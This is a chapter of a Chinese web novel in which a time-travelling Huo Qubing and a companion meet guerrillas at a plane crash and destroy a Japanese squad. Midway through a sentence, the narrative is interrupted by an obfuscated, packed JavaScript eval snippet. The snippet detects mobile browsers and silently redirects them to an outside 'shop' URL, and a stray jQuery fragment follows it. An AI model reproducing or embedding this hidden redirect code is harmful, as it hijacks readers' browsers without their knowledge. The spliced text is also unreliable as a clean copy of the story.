淡金色的光晕散去,灼热的气浪和刺鼻的烟味瞬间包裹了二人。


    他们直接出现在了坠机现场。眼前是一片狼藉,银灰色的飞机残骸断成几截,扭曲的铝皮反射着正午的阳光,一些部件仍在噼里啪啦的燃烧,黑烟滚滚而起,空气中弥漫着燃油和烧焦物的混合怪味。


    “还在烧呢,别烧没了!”林卓惊呼一声,也顾不上许多,立刻蹲下身,捡一块碎铝皮用手扒拉着地上的沙土,跳着脚往那些还在冒火苗的地方扬,试图给残骸灭火。“快!定远,快灭了火好拆东西!发动机!电台!再烧爆了!”


    霍去病却如猎豹般瞬间进入警戒状态。他的目光如同雷达,迅速扫过整个现场以及周围的旷野、树林。几乎就在同时,他的眼神定格在右前方约百米外的一处土坡后——一个人影正伏在那里,谨慎地观察着这边。


    那人显然也发现了突然出现的二人,身体明显紧绷了一下,随即缓缓站起身,但依旧保持着一种随时可以卧倒或反击的姿态,一只手看似随意地垂在身侧,但霍去病锐利的目光捕捉到他腰侧不自然的隆起。


    来人也看清了霍去病和林卓——一个气度沉凝、眼神锐利的年轻男子,和一个正在笨拙地扑火、嘴里还嚷嚷着“拆东西”的年轻女子。这组合太怪异了。


    霍去病大脑飞速运转,将来人的步态、身形,以及那种经过训练才有的警惕姿态与记忆中的日本军人对比——不像。


    日本人,尤其是此时的日军,带着一股趾高气扬的征服者气息,而此人更多是谨慎和审视。但,也有可能是伪军中的精锐。


    无论如何,不能让他走漏消息。霍去病周身的气息瞬间变得危险起来,肌肉微微绷紧,脚下不丁不八,已做好了瞬间暴起、一击致命的准备。在这个距离上,他有绝对的把握。


    林卓也看到了那个站在土坡上、不再隐蔽但也不靠近的人。她心里“咯噔”一下,扬土的动作僵住了。


    她张了张嘴,想喊一声“同志”,又猛地咽了回去——万一是敌人呢?电影里不都这么演吗?得有暗号!


    可暗号是啥?糟糕,忘了问胡掌柜暗号了,她脑子拼命转,有啥当暗号才能让对方认出自己人。


    天王盖地虎……不对,那是小说!


    大锤八十,小锤四十……什么鬼!


    宫廷玉液酒,一百八一杯……啊!呸!


    她急得额头直冒汗,越急越想不起来正经的。


    对了!对了!三大纪律!八项主义?她眼睛猛地一亮,这下算是抓住了救命稻草一样,也顾不上合不合适,跳着脚冲着那人就大声喊道:“不拿百姓一针一线!”


    声音在空旷的田野上传开,带着一丝破音。


    对面那人明显愣住了,脸上的表情从警惕变成了茫然和困惑,仿佛在说:这女的在嚷嚷啥?


    林卓见他没反应,心里一沉。完鸟,敌人。不知道三大纪律、八项主义的肯定是敌人。


    霍去病却微微侧目看了她一眼,眼神里带着询问。


    “咋了?他不知道这个,肯定是坏人?”林卓心里已经肯定这人是敌人了。刚想悄悄问霍去病怎么办,却见霍去病紧盯着那人的脸,头也不回地低声对她说:“他表情只有困惑,并无敌意或杀机。不是日本人。你再说,他应是我方的人。”


    霍去病是通过对方听到这莫名其妙口号后,只有困惑而没有立刻举枪或发出信号等敌对行为,以及那细微的表情变化,做出了判断。


    林卓一听,心下疑惑,自己人不知道三大纪律、八项主义?但定完说不像——


    好吧,暗号!暗号!我还能想啥暗号呀,但没暗号还是没法相认啊!她脑子继续飞速旋转:对了,这个时候,我党的政策口号是啥?对!统一战线!抗日!


    她深吸一口气,用尽力气,朝着那边再次大喊:“停止内战,一致抗日!”


    这一次,效果截然不同。


    只见那土坡上的人,脸上的困惑消失,明显松了一口气。


    他身体姿态也松弛了下来,那只一直放在腰侧的手也自然垂下,朝着他们用力地点了点头,脸上甚至露出了一丝如释重负的、带着善意的笑容。


    霍去病捕捉到了这清晰无误的积极信号,周身那冰冷的杀意瞬间敛去。他微微颔首,算是回应。


    林卓长长地舒了一口气,感觉自己差点虚脱。总算……蒙对了!


    那侦查员不再犹豫,快步从土坡上走了下来,一边走,一边压低声音,用带着冀东口音的官话说道:“不拿百姓一个红薯。”


    林卓:“……”虽然你有口音,但我听清楚了。


    冀东口音的官话接着说:“刚接到‘家里’急电,说会有‘自己人’突然出现来帮忙,没想到……真是‘突然出现’啊!”他说着,目光忍不住又好奇地瞟了一眼还在冒烟的残骸和眼前这对怎么看怎么奇特的男女组合。


    接着他侧过身,引荐身后一位快步走来面色精悍眼神却带着几分审慎的汉子:“这位是王队长,原东北军的,以前在沧州那边……吃过皇协军的粮,半个月前在沧州带着兄弟们杀了鬼子教官,弃暗投明过来的。他对这一带鬼子的布防和习惯,门儿清。”


    那王队长目光扫过霍去病和林卓,最后落在霍去病脸上,抱了抱拳,语气带着军人的干脆,也有一丝不易察觉的试探:“兄弟好身手,赵某佩服!咱们闲话少叙,先办正事,我的人已经散出去警戒了。”


    林卓在一旁听着,心里猛地一跳:在沧州?杀鬼子教官?是伪军哗变……原来就是他们!她下意识地多看了王队长两眼。


    几乎就在接上头的同一时间,远处传来了急促而杂乱的脚步声和低沉的呼喝声。更多穿着灰色、蓝色粗布衣服的汉子们从不同的方向涌了过来,大约有二十余人。


    他们行动迅捷,分工明确,无需过多命令,一部分人立刻散开,占据周围的土坎、树林等有利地形,持枪对外警戒。另一部分人则迅速冲向残骸,协助林卓扑灭余火,并用随身携带的简陋工具——撬棍、斧头,甚至是大石头,开始尝试拆卸。


    “快!重点是发动机!还有那个,驾驶舱里的仪表盘!电台!找铁盒子!”林卓虽然是外行,但她至少知道一些构造,就成了现场的技术指导,她也不懂拆卸,但她的指认让游击队员们找到了方向。


    这时,王队长手下一个正在撬仪表盘的小伙子抬起头,擦了把汗,焦急地插话:“队长,这东西金贵,可也太沉了!大路肯定让鬼子封了,咱们怎么弄回去?”


    侦察员老陈和王队长对视一眼。


    王队长眼神锐利,立刻有了决断:“走水路!滦河口那边有我们信得过的‘渔家人’。


    上次从沧州弄出来的那批枪粮,就是他们帮忙消化,稳稳送进了山里。这条线,熟!”


    霍去病闻言,眼神一闪,那批粮是他协助胡掌柜带人劫的,还有一批鬼子的军火,尤记得那晚的夜景甚美。算时间,只不过二十日左右,竟恍若经年……他眼神恍惚了一瞬,随即目光再次扫向四周警戒。


    现场则一片热火朝天,金属的敲击声、焦急的呼喊声与远处警戒人员死寂般的沉默形成鲜明对比。


    然而,好景不长。


    “砰!”


    一声清脆的枪声骤然从东面警戒位传来,划破了短暂的忙碌。


    “鬼子来了!”一声嘶吼紧接着响起。


    几乎是枪响的瞬间,更多的枪声如同爆豆般响起!日军到了!


    这支日军先遣队规模约一个小队,五十余人。他们乘坐卡车和边三轮摩托,反应极为迅速。


    此刻,正以标准的散兵线,借助地形交替掩护,向着坠机点猛扑过来。他们的火力凶猛,主要由“三八大盖”和至少一挺“歪把子”轻机枪组成,子弹啾啾地打在残骸和泥土上,溅起一串串烟尘。


    “隐蔽!还击!”游击队的队长,一个面色黝黑的汉子,声嘶力竭地大吼。


    游击队员们迅速依托残骸和天然掩体进行还击,但装备和火力差距悬殊,瞬间就被压制,不断有子弹打在飞机铝皮上,发出令人牙酸的“铛铛”声,更有队员中弹倒下,痛苦的闷哼声让人心头发紧。拆卸工作完全停滞,所有人都被迫投入战斗,形势急转直下!


    林卓吓得噌一下就蹿到一截断裂的机翼后,抱着头蹲下,心脏狂跳,几乎要蹦出嗓子眼,嘴也发干,又担心霍去病,又担心游击队,还害怕,她想伸头看看,又不敢,这个煎熬,脚下的土都让她蹭出一个坑来。


    日军的“歪把子”机枪终于找到了一个绝佳射界,火舌喷吐,瞬间将两名正在转移的游击队员压制在一块低矮的土坎后,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16709800|176233||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    碎石泥土飞溅,眼看土坎就要被削平了!


    就在这时,她眼角的余光瞥见,一直沉默观察着战场的霍去病,动了。


    游弋在战场侧翼的他眼神一凛,猛地踢起脚边一具日军尸体上的钢盔,那钢盔带着凄厉的破空声,如同流星锤般砸向机枪手的面门!“哐”的一声脆响,伴随着骨头碎裂的声音。机枪的咆哮戛然而止。


    那两名游击队员抓住这宝贵的两秒钟,连滚带爬地转移到了更安全的掩体后。


    霍去病没有像其他人一样寻找掩体,而是如同鬼魅般,借着浓烟和地形起伏的掩护,以一种超越了常人理解的速度,悄无声息地向着战场侧翼迂回,瞬间就消失在了众人的视野中。


    在他迂回的路径上,一名老练的日军曹长隐蔽在卡车残骸后,举着三八式步枪,稳稳地瞄准了正在大声呼喊指挥的游击队队长。


    就在他扣下扳机的瞬间,一道黑影如鬼魅般从其侧后方的烟尘中闪现!冰冷的刺刀精准地刺入其颈侧,将其所有的力量与生命瞬间抽空。


    那枚原本射向队长胸膛的子弹,歪斜着打在了前方的空地上。


    几分钟后,就在游击队防线承受着巨大压力,即将被突破的千钧一发之际——


    日军进攻队伍的后方,突然爆发了巨大的混乱!


    惨叫声、惊恐的日语呼喊声,以及一种令人胆寒的、利刃切入□□的沉闷声响,从日军阵型的核心区域传来!


    霍去病如同猛虎闯入了羊群,出现在了日军小队的后方!他手中没有枪,只有一柄不知从何处夺来的日军刺刀,身形如风,出手如电!他每一次闪现,都必然伴随着一名日军士兵的毙命,或是喉管被割断,或是心脏被刺穿,或是被巨力拧断了脖子!


    七八个日军士兵在短短十几秒内,甚至没看清来敌的模样,就已然毙命!日军完美的进攻阵型,从内部被瞬间撕开了一个血淋淋的口子,后方顿时大乱!


    “怎么回事?”


    “后面!后面有敌人!”


    正面苦苦支撑的游击队员们,立刻察觉到敌人的火力骤然减弱,并且阵脚大乱。


    “我们的援兵到了!从后面包抄了鬼子!”队长虽不明就里,但战机稍纵即逝,他立刻抓住机会,嘶声怒吼:“同志们!冲啊!把狗日的小鬼子压下去!”


    绝境逢生的勇气化作了滔天的战意!所有游击队员,包括刚才还在拆卸的队员,此刻全都端起步枪、挥舞着大刀片和红缨枪,如同决堤的洪水般,从掩体后跃出,向混乱的日军发起了决死的反冲锋!


    前有猛攻,后有“死神”。


    这支日军小队在极度惊恐和混乱中,完全失去了指挥和阵型,陷入了各自为战的绝望境地。战斗,变成了一场单方面的围歼。


    枪声、爆炸声、冷兵器碰撞声、怒吼与惨叫声交织在一起,持续了不到十分钟,便逐渐停歇下来。


    田野再次恢复了寂静,只是这寂静中,弥漫着浓郁的血腥味和硝烟味。


    五十余人的日军小队,被全部歼灭。尸体横七竖八地倒在田野中。


    游击队员们喘着粗气,看着眼前这一幕,几乎不敢相信自己的眼睛。他们不仅守住了飞机残骸,还全歼了一股装备精良的日军!


    短暂的寂静后,欢呼声轰然爆发:“赢了!我们赢了!”


    “快!打扫战场!鬼子的枪、子弹、手榴弹,全都捡起来!”


    “还有他们的水壶、干粮!都是好东西!”


    队员们兴奋地呼喊着,开始迅速收缴战利品。


    队长一边用撕下的布条草草包扎自己手臂上被流弹划出的血口,一边清点着人数。


    他脸上被硝烟熏得黝黑,一双眼睛却亮得吓人,声音带着难以置信的庆幸:“四个重伤,兄弟们都给扎上了,能抬走!轻伤的……七八个挂彩。他娘的……真是老祖宗保佑!”


    他说着,目光不由自主地投向静静站在战场边缘的霍去病,语气中充满了后怕与感激:“要不是定远兄弟……要不是他几次出手,专挑鬼子最要命的地方下死手,打断他们的势头,咱们这点人,今天非得全折在这儿不可!”


    现如今,这三八大盖、子弹盒、牛皮弹药包、甜瓜手雷,甚至军官的指挥刀和望远镜……这些平日里难得一见的宝贝,此刻都成了他们的战利品。